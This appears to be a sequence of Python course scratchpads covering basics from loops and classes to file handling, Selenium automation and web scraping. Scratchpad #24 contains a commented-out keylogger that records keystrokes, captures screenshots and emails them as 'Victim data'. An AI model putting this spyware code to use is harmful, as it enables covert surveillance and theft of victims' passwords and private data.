Python Daily Morning April
Scratchpad #4
# # print("Amount of USD you want to convert?")
# usd = input("Amount of USD you want to convert:\n")
# inr = float(usd) * 81.93
# inr = round(inr, 2)
# print(inr)
# name = input("Enter some name: ")
# if name == "mark":
# print("Meta")
# elif name == 'elon':
# print("Twitter")
# elif name == 'sundar':
# print("Google")
# else:
# print("I don't recognize that name")
# print("Program ends")
# is_logged_in = input("Enter your username: ")
# if is_logged_in:
# print("Welcome")
# else:
# print("〠〠〠〠〠〠〠")
# age = int(input("Please enter your age: "))
# if age >= 18 and age < 21:
# print("You can enter but can't drink")
# elif age >= 21 and age < 65:
# print("You can enter and you can drink")
# elif age >= 65:
# print("Drink are free")
# else:
# print("You can't enter")
is_logged_in = input("Enter your username: ")
if not is_logged_in:
print("Please login to continue")
else:
print("Welcome")
Scratchpad #5
# age = input("Please enter your age: ")
# if age:
# age = int(age)
# if age >= 18 and age < 21:
# print("You can enter but can't drink")
# elif age >= 21 and age < 65:
# print("You can enter and drink")
# elif age >= 65:
# print("Drinks are free")
# else:
# print("You can't enter")
# else:
# print("Please enter a valid age")
# player1 = input("Please enter player 1' choice: ")
# player2 = input("Please enter player 2' choice: ")
# if player1 == player2:
# print("It's a draw")
# elif (player1 == 'rock' and player2 == 'scissors') or (
# player1 == 'paper' and player2 == 'rock') or (player1 == 'scissors'
# and player2 == 'paper'):
# print("Player 1 wins")
# elif (player2 == 'rock' and player1 == 'scissors') or (
# player2 == 'paper' and player1 == 'rock') or (player2 == 'scissors'
# and player1 == 'paper'):
# print("Player 2 wins")
# else:
# print("Something went wrong")
# full_name = "John Doe"
# for char in full_name:
# print(char)
# for num in range(5, 25):
# print(num)
# print("-----------")
# for num in range(1, 11):
# print(num * 2)
# for num in range(10):
# print(num)
# for num in range(10):
# print(num)
# for num in range(0, 10, 2):
# print(num)
# for num in range(10, 0, -3):
# print(num)
# for num in range(1, 21):
# if num == 5 or num == 16:
# print("FizzBuzz")
# elif num % 2 == 0:
# print(f"{num} - Fizz is even")
# elif num % 2 != 0:
# print(f"{num} - Fizz is odd")
# for num in range(10):
# print(num)
# count = 0
# while count < 10:
# count += 1
# print(count)
# password = input("Please enter the secret password: ")
# while password != "hello":
# print("Incorrect password!")
# password = input("Please enter the secret password again: ")
# print("Hello World")
# password = input("Please enter the secret password: ")
# while password != "hello":
# if password == 'quit':
# break
# print("Incorrect password!")
# password = input("Please enter the secret password again: ")
# password = input("Please enter the secret password: ")
# while True:
# if password == "hello":
# break
# print("Incorrect password!")
# password = input("Please enter the secret password again: ")
count = 1
while True:
player1 = input("Please enter player 1' choice: ")
player2 = input("Please enter player 2' choice: ")
if player1 == player2:
print("It's a draw")
elif (player1 == 'rock' and player2 == 'scissors') or (
player1 == 'paper'
and player2 == 'rock') or (player1 == 'scissors'
and player2 == 'paper'):
print("Player 1 wins")
elif (player2 == 'rock' and player1 == 'scissors') or (
player2 == 'paper'
and player1 == 'rock') or (player2 == 'scissors'
and player1 == 'paper'):
print("Player 2 wins")
else:
print("Something went wrong")
answer = input("Do you want to play again? (y/n): ")
if answer != 'y':
break
# if count == 10:
# break
# count += 1
Scratchpad #6
# tasks = []
# while True:
# task = input("Add a task to your list (q to quit): ")
# if task == '':
# print("Please enter a valid task\n")
# elif task == 'q':
# break
# else:
# tasks.append(task)
# print(tasks)
# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]
# if "Python" in langs:
# print("That's good")
# else:
# print("Do something else")
# for lang in langs:
# print(lang)
langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]
i = 0
while i < len(langs):
print(langs[i])
i += 1
Scratchpad #7
# my_list = [1, 2, 2, 3, 4, 55, 23, 3, 2, 65, 2]
# print(my_list.count(my_list.count(2)))
# my_list = [1, 2, 3, 4, 5, 6, 7, 8]
# doubles = [num * 2 for num in my_list]
# # doubles = []
# # for num in my_list:
# # doubles.append(num * 2)
# print(doubles)
# names = ["john", 'jane', 'jack', 'jill']
# upper_names = [name.upper() for name in names]
# print(names)
# print(upper_names)
# my_list = [1, 2, 3, 4, 5, 6, 7, 8]
# # evens = [num for num in my_list if num % 2 == 0]
# # print(evens)
# result = [num * 2 if num % 2 == 0 else num / 2 for num in my_list]
# print(result)
# for num in [num * 2 for num in my_list]:
# print(num)
message = "Hello Python!"
# print("".join())
print("".join([char for char in message if char not in "aeiou"]))
Scratchpad #8
# # nested_list = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]],
# # [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
# # [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]
# # total = 0
# # for lst in nested_list:
# # for num in lst:
# # total += num
# # print(total)
# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
# # [[print(num) for num in lst] for lst in nested_list]
# # board = [[n for n in range(3)] for num in range(3)]
# # [[0, 1, 2], [0, 1, 2], [0, 1, 2]]
# board = [['X' if n % 2 == 0 else 'O' for n in range(3)] for _ in range(3)]
# print(board)
# product1 = [
# 'iPhone 14', 'Apple', 500, 100000, 'Some description', 'https://...', True
# ]
# print(product1[0])
# product1 = {
# "description": "Something.",
# "name": "iPhone 14",
# "brand": "Apple",
# "price": 100000,
# "inventory": 500,
# 1000: 'hello'
# }
# print(product1["name"])
# product1 = {
# "description": "Something.",
# "name": "iPhone 14",
# "brand": "Apple",
# "price": 100000,
# "inventory": 500,
# }
# for key, value in product1.items():
# print(key, value)
# print(f"The value of key {key} is {value}")
# for key in product1.keys():
# print(product1[key])
# print(product1["name"])
# for key in product1.keys():
# print(key, product1[key])
# for item in product1.items():
# print(item)
# print(item[0], item[1])
# for key, value in product1.items():
# print(key, value)
# # print(f"{key} ---- {value} |||")
product1 = {
"description": "Something.",
"name": "iPhone 14",
"brand": "Apple",
"price": 100000,
"inventory": 500,
}
print("hello", 1000, 123123, 123123)
# print(product1["brand"])
song1 = {
"title": "....",
"artists": ["...", "..."],
"album": "...",
}
songs = [{
"title": "....",
"artists": ["...", "..."],
"album": "...",
}, {
"title": "....",
"artists": ["...", "..."],
"album": "...",
}]
Scratchpad #9
# # def greet():
# # print("Hello World")
# # print("Hello World")
# # print("Hello World")
# # greet()
# # greet()
# # greet()
# # def square_of_two():
# # return 2**2
# # # square_of_two()
# # # print(square_of_two())
# # result = square_of_two()
# # square_of_two()
# # square_of_two()
# # print(square_of_two())
# from random import random
# def flip_coin():
# if random() > 0.5:
# return "HEADS"
# else:
# return "TAILS"
# print(flip_coin())
# def add(a, b, c):
# return a + b + c
# print(add(10, 20, 30))
# def sum_all_numbers(numbers):
# total = 0
# for num in numbers:
# if num % 2 != 0:
# total += num
# return total
# print(sum_all_numbers([1, 2, 3, 4, 5, 6, 7]))
# def is_odd_num(num):
# if num % 2 != 0:
# return True
# return False
# print(is_odd_num(10))
# def multiply(a=1, b=1):
# return a * b
# print(multiply(10))
def add(a, b):
return a + b
def sub(a, b):
return a - b
def math(a, b, fn=sub):
return fn(a, b)
print(math(10, 5))
Scratchpad #10
# def greet(first_name="Test1", last_name="Test2"):
# return f"Hello, {first_name} {last_name}"
# # print(greet(last_name="Doe", first_name="Jane"))
# name = "Jane Doe"
# def greet():
# name = "Jack Smith"
# return name
# # print(name)
# print(greet())
# total = 0
# def test():
# global total
# total += 10
# print(total)
# print(total)
# test()
# print(total)
# total = 0
# def test2(num):
# final_result = num + 10
# return final_result
# print(test2(1231231234234))
# mln = "Mojar"
# mfn = "Sanika"
# def greet(first_name, last_name):
# return f"Hello my name is {first_name} {last_name}"
# print(greet(mfn, mln))
# total = 0
# def test1():
# global total
# total += 10
# test1()
# test1()
# print(total)
# total = 0
# def test2(num):
# final_result = num + 10
# return final_result
# total = test2(total)
# total = test2(total)
# total = test2(total)
# print(total)
def outer():
count = 0
def inner():
nonlocal count
count += 1
return count
return inner()
outer()
Scratchpad #11
# def add(a, b):
# """Function takes in 2 numbers and add them and returns it"""
# return a + b
# # print(add.__doc__)
# # print([].append.__doc__)
# print([].pop.__doc__)
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# print(add(10, 4, 56, 23, 100, 200, 300))
# # print(add(10, 5, 5))
# def user_profile(**kwargs):
# print(kwargs)
# for item in kwargs.items():
# print(item)
# user_profile(first_name="John", last_name="Doe", hello="world")
# max(102,4,5,4,3,445) => 445
# min(102,4,5,4,3,445) => 3
# def show_info(a, b, *args, role="moderator", **kwargs):
# return [a, b, args, role, kwargs]
# print(
# show_info(10,
# 20,
# 30,
# 40,
# 50,
# 60,
# role="admin",
# first_name="John",
# last_name="Doe"))
# def add(*nums): # nums = ([10, 20, 30, 40])
# total = 0
# for num in nums:
# total += num
# print(total)
# return total
# nums = [10, 20, 30, 40]
# print(add(*nums))
def say_name(first, last):
print(f"My name is {first} {last}.")
# say_name(first="John", last="Doe")
name = {"first": "Robert", "last": "Moore"}
say_name(**name)
# say_name(first=name["first"], last=name["last"])
Scratchpad #12
# # # # def add(a, b):
# # # # return a + b
# # # add = lambda a, b: a + b
# # # def square(x):
# # # return x**2
# # # print(add(10, 5))
# # # print(square(5))
# # def math(a, b, fn):
# # return fn(a, b)
# # def add(a, b):
# # return a + b
# # def sub(a, b):
# # return a - b
# # # print(math(10, 5, lambda a, b: a * b))
# # # def div(num1, num2):
# # # return num1 / num2
# # div = lambda *nums: nums
# # print(div(10, 5, 6))
# nums = [1, 2, 3, 4, 5, 6, 7, 8]
# # doubles = []
# # for num in nums:
# # doubles.append(num * 2)
# # doubles = [num * 2 for num in nums]
# def double(num):
# return num * 2
# doubles = list(map(lambda num: num * 2, nums))
# # doubles = list(map(double, nums))
# print(doubles)
# nums = [1, 2, 3, 4, 5, 6, 7, 8]
# result = filter(lambda num: num % 2 == 0, nums)
# print(list(result))
names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']
result = map(lambda name: f"The one who wins is {name}",
filter(lambda name: len(name) < 5, names))
print(list(result))
Scratchpad #13
# def colorize(text, color):
# colors = ("red", "yellow", "blue", "green", "cyan")
# if type(color) != str:
# raise Exception("Hello World")
# if color not in colors:
# raise ValueError("Invalid color.")
# print(f"Printed {text} in {color}")
# colorize("hello world", 1000)
try:
result = 10 / 10
# except Exception as err:
# print("Something went wrong", err)
except (ZeroDivisionError, TypeError) as err:
print("Something went wrong", err)
else:
print(result)
finally:
print("Will always run")
print("Run this")
Scratchpad #14
# import random as r
# def random():
# return "hello"
# print(random())
# print(r.randint(10, 100))
from random import randint, random, choice
# print(random())
# print(randint(10, 100))
def flip_coin():
if random() > 0.5:
print("HEADS")
else:
print("TAILS")
flip_coin()
Scratchpad #15
# import random
# # from pprint import pprint
# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
# "Queen", "King")
# NCARDS = 8
# def get_card(deck_list_in):
# this_card = deck_list_in.pop()
# return this_card
# def shuffle(deck_list_in):
# deck_list_out = deck_list_in.copy()
# random.shuffle(deck_list_out)
# return deck_list_out
# print("Welcome to higher or lower")
# print(
# "You have to choose whether the next card to be shown will be higher or lower than the current card"
# )
# print(
# "Getting it right adds 20 points; get it wrong and you will lose 15 points"
# )
# print()
# starting_deck_list = []
# for suit in SUIT_TUPLE:
# for this_value, rank in enumerate(RANK_TUPLE):
# card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
# starting_deck_list.append(card_dict)
# score = 50
# while True:
# print()
# game_deck_list = shuffle(starting_deck_list)
# current_card_dict = get_card(game_deck_list)
# current_card_rank = current_card_dict["rank"]
# current_card_value = current_card_dict["value"]
# current_card_suit = current_card_dict["suit"]
# print(f"Starting card is {current_card_rank} of {current_card_suit}")
# print()
# for card_number in range(0, NCARDS):
# answer = input(
# f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
# )
# answer = answer.casefold()
# next_card_dict = get_card(game_deck_list)
# next_card_rank = next_card_dict["rank"]
# next_card_value = next_card_dict["value"]
# next_card_suit = next_card_dict["suit"]
# print(f"Next card is {next_card_rank} of {next_card_suit}")
# if answer == 'h':
# if next_card_value > current_card_value:
# print("You got it right, it was higher")
# score += 20
# else:
# print("Sorry, it was not higher")
# score -= 15
# elif answer == "l":
# if next_card_value < current_card_value:
# print("You got it right, it was lower")
# score += 20
# else:
# print("Sorry, it was not lower")
# score -= 15
# print(f"Your score is: {score}")
# print()
# current_card_rank = next_card_rank
# current_card_value = next_card_value
# current_card_suit = next_card_suit
# go_again = input("To play again, press ENTER, or 'q' to quit: ")
# if go_again == "q":
# break
# print("Thank you for playing.")
# ===============================================
class User:
def __init__(self, first_name, last_name, email, age): # constructor
self.first_name = first_name
self.last_name = last_name
self.email = email
self.__age = age
self.city = "Mumbai"
self.country = "India"
def get_age(self):
# LOGIC
return self.__age
user1 = User("John", "Doe", "john@gmail.com", 20)
user2 = User("Jane", "Smith", "jane@gmail.com", 22)
# print(user1.first_name, user2.last_name, user1.city)
# print(user1.__age)
print(user1.get_age())
Scratchpad #16
# class Math:
# @classmethod
# def add(cls, a, b):
# return a + b
# @classmethod
# def sub(cls, a, b):
# return a - b
# @classmethod
# def div(cls, a, b):
# return a / b
# # print(Math.add(10, 4))
# class User:
# total_users = 0
# active_users = 0
# def __init__(self, first_name, last_name, age):
# self.first_name = first_name
# self.last_name = last_name
# self.age = age
# self.city = "Mumbai"
# User.total_users += 1
# def __repr__(self):
# return self.first_name + " " + self.last_name
# @classmethod
# def get_total_users(cls):
# return cls.total_users
# def login(self):
# User.active_users += 1
# def logout(self):
# User.active_users -= 1
# def greet(self, message):
# return f"{message}. I am {self.first_name} {self.last_name}"
# def change_city(self, new_city):
# self.city = new_city
# return self.city
# john = User("John", "Doe", 20)
# john.age = 30
# jane = User("Jane", "Smith", 25)
# # jane.login()
# # john.login()
# print(john)
# # print(User.get_total_users())
# # print(john.age)
# # print(jane.greet("Hi"))
# # print(john.greet("Hi"))
# # john.change_city("Pune")
# # print(john.city)
# class User:
# def __init__(self, first_name, last_name, age):
# self.first_name = first_name
# self.last_name = last_name
# self._age = age
# @property
# def age(self):
# return self._age
# @age.setter
# def age(self, new_age):
# if new_age < 90:
# self._age = new_age
# return self._age
# else:
# raise ValueError("That can't be your age")
# def get_age(self):
# return self._age
# def set_age(self, new_age):
# if new_age < 90:
# self._age = new_age
# return self._age
# else:
# raise ValueError("That can't be your age")
# def login(self):
# return True
# def logout(self):
# return True
# class Admin(User):
# def create_group(self, group_name):
# return f"{group_name} created"
# user1 = User("Jane", "Doe", 20)
# user2 = Admin("John", "Doe", 22)
# print(user1.login())
# print(user2.login())
# print(user2.create_group("Test"))
# user1 = User("Jane", "Doe", 20)
# user1._age = 10000000
# user1.set_age(1000)
# print(user1.get_age())
# print(user1.age)
# user1.age = 50 # user1.age(50)
# # user1.age = 30
# print(user1.age)
class User:
def __init__(self, first_name, last_name, age):
self.first_name = first_name
self.last_name = last_name
self._age = age
def __repr__(self):
return self.first_name + " " + self.last_name
def login(self):
return True
def logout(self):
return True
class Admin(User):
def __init__(self, first_name, last_name, age, email):
super().__init__(first_name, last_name, age)
self.email = email
def create_group(self, group_name):
return f"{group_name} created"
user1 = User("Jane", "Doe", 20)
user2 = Admin("John", "Doe", 22, "john.doe@gmail.com")
print(user1)
print(user2)
Scratchpad #17
# # class Human:
# # def __init__(self, name):
# # self.name = name
# # def greet(self):
# # print("Hello World")
# # class Animal:
# # def __init__(self, name):
# # self.name = name
# # def greet(self):
# # print("asdjnkasjdnaksd")
# # class Mutant(Human, Animal):
# # def greet(self):
# # print("Hello again")
# # test1 = Mutant("Doe")
# # print(test1.name)
# # test1.greet()
# # class User:
# # def __init__(self, first_name, last_name, age):
# # self.first_name = first_name
# # self.last_name = last_name
# # self.age = age
# # def __repr__(self):
# # return self.first_name + " " + self.last_name
# # def __len__(self):
# # return self.age
# # def __add__(self, user):
# # return User("New", "Born", 0)
# # def __gt__(self, user):
# # if self.age > user.age:
# # return True
# # return False
# # user1 = User("Jane", "Doe", 20)
# # user2 = User("John", "Doe", 25)
# # # print(len(user1))
# # # print(user1 + user2)
# # print(user1 > user2)
# class User:
# def __init__(self, first_name, last_name, age):
# self.first_name = first_name
# self.last_name = last_name
# self.age = age
# def greet(self):
# return "Hello World"
# user1 = User("Jane", "Doe", 20)
# print(user1.greet())
# print(user1.first_name)
# def Admin(first_name, last_name, age):
# def greet():
# return "Hello World"
# return {
# "first_name": first_name,
# "last_name": last_name,
# "age": age,
# "greet": greet
# }
# user2 = Admin("John", "Smith", 25)
# print(user2["greet"]())
# print(user2["first_name"])
# for next(num) in iter([1, 2, 3, 4]):
# print(num)
# def my_for(iterable):
# iterator = iter(iterable)
# while True:
# try:
# print(next(iterator))
# except StopIteration:
# break
# my_for("Hello World. This is a test message.")
class Counter:
def __init__(self, start, end, step=1):
self.start = start
self.end = end
self.step = step
def __iter__(self):
return self
def __next__(self):
if self.start < self.end:
num = self.start
self.start += self.step
return num
else:
raise StopIteration
# c1 = Counter(0, 50, 5)
# ic1 = iter(c1)
# print(ic1)
# print(next(ic1))
# print(next(ic1))
# print(next(ic1))
# print(next(ic1))
# print(next(ic1))
# print(next(ic1))
for num in range(0, 50, 5):
print(num)
for num in Counter(0, 50, 5):
print(num)
Scratchpad #18
# # # # def count_up_to(max):
# # # # count = 1
# # # # while count <= max:
# # # # yield count
# # # # count += 1
# # # # print(count_up_to(10))
# # # # # result = count_up_to(1000) # [1,2,3,4,5,6,7,8,9,10]
# # # # # # print(next(result))
# # # # # # print(next(result))
# # # # # # print(next(result))
# # # # # # print(next(result))
# # # # # for num in result:
# # # # # print(num)
# # # # # def fib_list(max):
# # # # # nums = []
# # # # # a, b = 0, 1
# # # # # while len(nums) < max:
# # # # # nums.append(b)
# # # # # a, b = b, a + b
# # # # # return nums
# # # # # result = fib_list(100000000000000)
# # # # # print(result)
# # # # def fib_gen(max):
# # # # a, b = 0, 1
# # # # count = 0
# # # # while count < max:
# # # # a, b = b, a + b
# # # # yield a
# # # # count += 1
# # # # result = fib_gen(1000000)
# # # # for num in result:
# # # # print(num)
# # # # g = (num for num in range(10))
# # # # print(g)
# # # import time
# # # gen_start_time = time.time()
# # # print(sum(num for num in range(100000000)))
# # # gen_stop = time.time() - gen_start_time
# # # list_start_time = time.time()
# # # print(sum([num for num in range(100000000)]))
# # # list_stop = time.time() - list_start_time
# # # print(f"Generator took: {gen_stop}")
# # # print(f"List Comp took: {list_stop}")
# # # def math(a, b, fn):
# # # return fn(a, b)
# # # print(math(10, 5, lambda a, b: a + b))
# # def sum(n, func):
# # total = 0
# # for num in range(1, n + 1):
# # total += func(num)
# # return total
# # def square(n):
# # return n * n
# # def cube(n):
# # return n * n * n
# # print(sum(3, square))
# # print(sum(3, cube))
# import random
# def greet(person):
# def get_mood():
# mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# msg = random.choice(mood)
# return msg
# result = f"{get_mood()} {person}"
# return result
# print(greet("John"))
# Bank
# Class METHOD: gen_acc_no()
# name, initials, address, phone: [], IFSC, branch, customers: [Customer]
# create_customer() -> Customer()
# get_all_customers()
# find_customer_by_email()
# find_customer_by_phone()
# filter_customers_by_name(first_name, middle_name, last_name)
# edit_details({phone: []})
# Customer
# first_name, midle_name, last_name, email, phone, address, pan_no, aadhar_no, acc_no, balance
# deposit()
# withdraw()
# edit_details()
# check_balance()
# sbi = Bank(....)
# cust1 = sbi.create_customer(......)
Scratchpad #19
# # # import random
# # # def make_greet_func(person):
# # # def make_message():
# # # msg = random.choice(
# # # ["Hello", "What!", "What the heck do you want!", "Get lost!"])
# # # return f"{msg} {person}"
# # # return make_message
# # # message_to_jane = make_greet_func("Jane")
# # # message_to_john = make_greet_func("John Doe")
# # # print(message_to_jane())
# # # print(message_to_john())
# # def stars(fn):
# # def wrapper():
# # print("*" * 10)
# # fn()
# # print("*" * 10)
# # return wrapper
# # @stars # hello = stars(hello)
# # def hello():
# # print("Hello World")
# # # hello = stars(hello)
# # hello()
# from functools import wraps
# def make_uppercase(fn):
# """Decorator that uppercases"""
# @wraps(fn)
# def wrapper(*args, **kwargs):
# """Wrapper function"""
# return fn(*args, **kwargs).upper()
# return wrapper
# @make_uppercase # say_hello = make_uppercase(say_hello)
# def say_hello(message, person):
# """Function that says hello to someone"""
# return f"{message}, {person}"
# # print(say_hello("hello", "Jane"))
# print(say_hello.__doc__)
# print(say_hello.__name__)
# def ensure_first_arg_is(val):
# def inner(fn):
# def wrapper(*args, **kwargs):
# if args and args[0] != val:
# raise ValueError(f"First arg needs to be {val}")
# else:
# return fn(*args, **kwargs)
# return wrapper
# return inner
# @ensure_first_arg_is("Song 435")
# def fav_songs(*songs):
# print(songs)
# # fav_songs = ensure_first_arg_is("Song 435")(fav_songs)
# fav_songs("Song 45", "Some 2", "Song 123", "Song 3442")
def enforce(*types):
def inner(fn):
def wrapper(*args, **kwargs):
new_args = []
for a, t in zip(args, types): # [("hello", str), (10, int)]
try:
new_args.append(t(a))
except (ValueError, TypeError):
return "Something went wrong"
return fn(*new_args)
return wrapper
return inner
@enforce(str, int)
def announce(message, times):
print((message + "\n") * times)
announce(20, 10)
Scratchpad #20
# class Bank:
# def __init__(self, name):
# self.name = name
# self.customers = []
# def create_customer(self, name, email):
# new_customer = Customer(name, email)
# self.customers.append(new_customer)
# return new_customer
# class Customer:
# def __init__(self, name, email):
# self.name = name
# self.email = email
# sbi = Bank("State Bank Of India")
# john = sbi.create_customer("John", "john@gmail.com")
# print(john)
Scratchpad #21
# # with open("test.txt") as file:
# # print(file.read())
# class Human:
# def __init__(self, name, age):
# self.name = name
# self.age = age
# def __add__(self, human):
# return "hello world"
# user1 = Human("Jane", 20)
# user2 = Human("John", 22)
# print(user1 + user2)
# with open("test2.txt", "r") as file:
# data = file.read()
# data = data.upper()
# data = data.replace("HELLO", "NAMASTE")
# with open("test2.txt", "w") as file:
# file.write(data)
def find_and_replace(file, word, replacement):
with open(file, "r") as f:
contents = f.read()
contents = contents.replace(word, replacement)
with open(file, "w") as f:
f.write(contents)
find_and_replace("test2.txt", "NAMASTE", "HELLO")
Scratchpad #22
# from csv import reader, DictReader, writer, DictWriter
# # with open("users.csv") as file:
# # csv_reader = reader(file)
# # next(csv_reader)
# # print(list(csv_reader))
# # # for row in csv_reader:
# # # print(row)
# # # csv_reader = DictReader(file)
# # # print(list(csv_reader))
# # # for row in csv_reader:
# # # print(row)
# # with open("users2.csv", "w", newline="") as file:
# # csv_writer = writer(file)
# # csv_writer.writerow(["First name", "Middle Name", "Last Name", "Email"])
# # csv_writer.writerow(["John", "Jack", "Doe", "john@example.com"])
# # csv_writer.writerow(["Jane", "James", "Smith", "jane@example.com"])
# with open("users2.csv", "w", newline="") as file:
# headers = ["First Name", "Middle Name", "Last Name", "Email"]
# csv_writer = DictWriter(file, fieldnames=headers)
# csv_writer.writeheader()
# csv_writer.writerow({
# "First Name": "John",
# "Middle Name": "Jack",
# "Last Name": "Doe",
# "Email": "hello@world.com"
# })
# import pickle
import json, jsonpickle
class User:
def __init__(self, first_name, last_name, email):
self.first_name = first_name
self.last_name = last_name
self.email = email
self.city = "Mumbai"
self.hello = True
self.world = None
def __repr__(self):
return self.first_name
def greet(self):
return f"Hello World, my name is {self.first_name}"
# user1 = User("John", "Doe", "john@gmail.com")
# # with open("users_data.pickle", "wb") as file:
# # pickle.dump(user1, file)
# with open("users_data.pickle", "rb") as file:
# restored_user = pickle.load(file)
# print(restored_user.greet())
# print(user1.__dict__)
# print(json.dumps(user1.__dict__))
# with open("users_data.json", "w") as file:
# stored = jsonpickle.encode(user1)
# file.write(stored)
with open("users_data.json") as file:
contents = file.read()
data = jsonpickle.decode(contents)
print(data.greet())
Scratchpad #23
# import re
# pattern = re.compile(r"\+91\s?\d{3}\s?\d{4}\s?\d{4}")
# # result = pattern.search("Call us on +91 022 2345 6789 or +9102223456789 for enquiries")
# # print(result.group())
# result = pattern.findall("Call us on +91 022 2345 6789 or +9102223456789 for enquiries")
# print(result)
# def extract_phone(phone):
# phone_regex = re.compile(r"^\+91\s?\d{3}\s?\d{4}\s?\d{4}$")
# match = phone_regex.search(phone)
# if match:
# return match.group()
# else:
# return None
# result = extract_phone("+91 022 2345 6789")
# print(result)
# def is_valid_phone(phone):
# phone_regex = re.compile(r"\+91\s?\d{3}\s?\d{4}\s?\d{4}")
# match = phone_regex.fullmatch(phone)
# if match:
# return True
# return False
# print(is_valid_phone("+91 022 2345 6789"))
# -------------------------
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep
browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()
browser.get("https://www.youtube.com/")
sleep(5)
search_box = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input")
sleep(1)
search_box.click()
sleep(1)
search_box.send_keys("the flash trailer", Keys.ENTER)
sleep(4)
# video = browser.find_element(By.XPATH, "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string")
# sleep(1)
# video.click()
video = browser.find_element(By.PARTIAL_LINK_TEXT, "Ezra Miller")
sleep(1)
video.click()
sleep(50)
Scratchpad #24
# from pynput.keyboard import Key, Listener
# import pyautogui
# from time import sleep
# from datetime import datetime
# import yagmail
# count = 0
# keys = []
# try:
# def on_press(key):
# global keys, count
# keys.append(key)
# count += 1
# if count >= 10:
# write_file(keys)
# keys = []
# def write_file(keys):
# with open("log.txt", "a") as f:
# for key in keys:
# k = str(key).replace("'", "")
# if k.find("space") > 0:
# f.write(str(" "))
# elif k.find("cap_lock") > 0:
# f.write(str("<CAPS_LOCK>"))
# elif k.find("enter") > 0:
# f.write("\n")
# elif k.find("Key") == -1:
# f.write(k)
# def on_release(key):
# if key == Key.esc:
# return False
# def take_screenshot():
# screen = pyautogui.screenshot()
# screen.save("screenshot.png")
# def send_email():
# receiver_email = ""
# subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
# yag = yagmail.SMTP("", "")
# contents = ["<b><font color='red'>Your Victim Data</font></b>"]
# attachments = ["log.txt", "screenshot.png"]
# yag.send(receiver_email, subject, contents, attachments)
# print("Email sent")
# with Listener(on_press=on_press, on_release=on_release) as listener:
# while True:
# sleep(30)
# take_screenshot()
# send_email()
# listener.join()
# except KeyboardInterrupt:
# print("Program closed")
# from bs4 import BeautifulSoup
# data = """
# <!DOCTYPE html>
# <html lang="en">
# <head>
# <meta charset="UTF-8" />
# <title>My App</title>
# </head>
# <body>
# <h1>Hello World</h1>
# <h2 class="test">Hello World</h2>
# <p id="hello">
# Lorem ipsum dolor, sit amet consectetur adipisicing elit. Quisquam quidem
# corporis, exercitationem expedita ipsam ab? Exercitationem quibusdam sunt
# excepturi voluptatem perspiciatis ex delectus at, dolore praesentium
# doloremque laborum voluptatibus nisi.
# </p>
# <ul>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# </ul>
# </body>
# </html>
# """
# soup = BeautifulSoup(data, "html.parser")
# print(soup.body.h1)
# print(type(soup.body.h1))
# print(soup.find("li"))
# print(soup.find_all("li"))
# el = soup.find(class_="test")
# print(el.find_next_sibling())
# print(el.find_parent())
# print(soup.find("p")["id"])
import requests
from bs4 import BeautifulSoup
from csv import writer
response = requests.get("https://arstechnica.com/")
soup = BeautifulSoup(response.text, "html.parser")
articles = soup.find_all(class_="article")
with open("articles.csv", "w", newline="") as file:
csv_writer = writer(file)
csv_writer.writerow(["title", "excerpt", "author", "date", "link"])
for article in articles:
title = article.find("h2").get_text()
excerpt = article.find(class_="excerpt").get_text()
author = article.find("span").get_text()
date = article.find(class_="date").get_text()
link = article.find("a")["href"]
csv_writer.writerow([title, excerpt, author, date, link])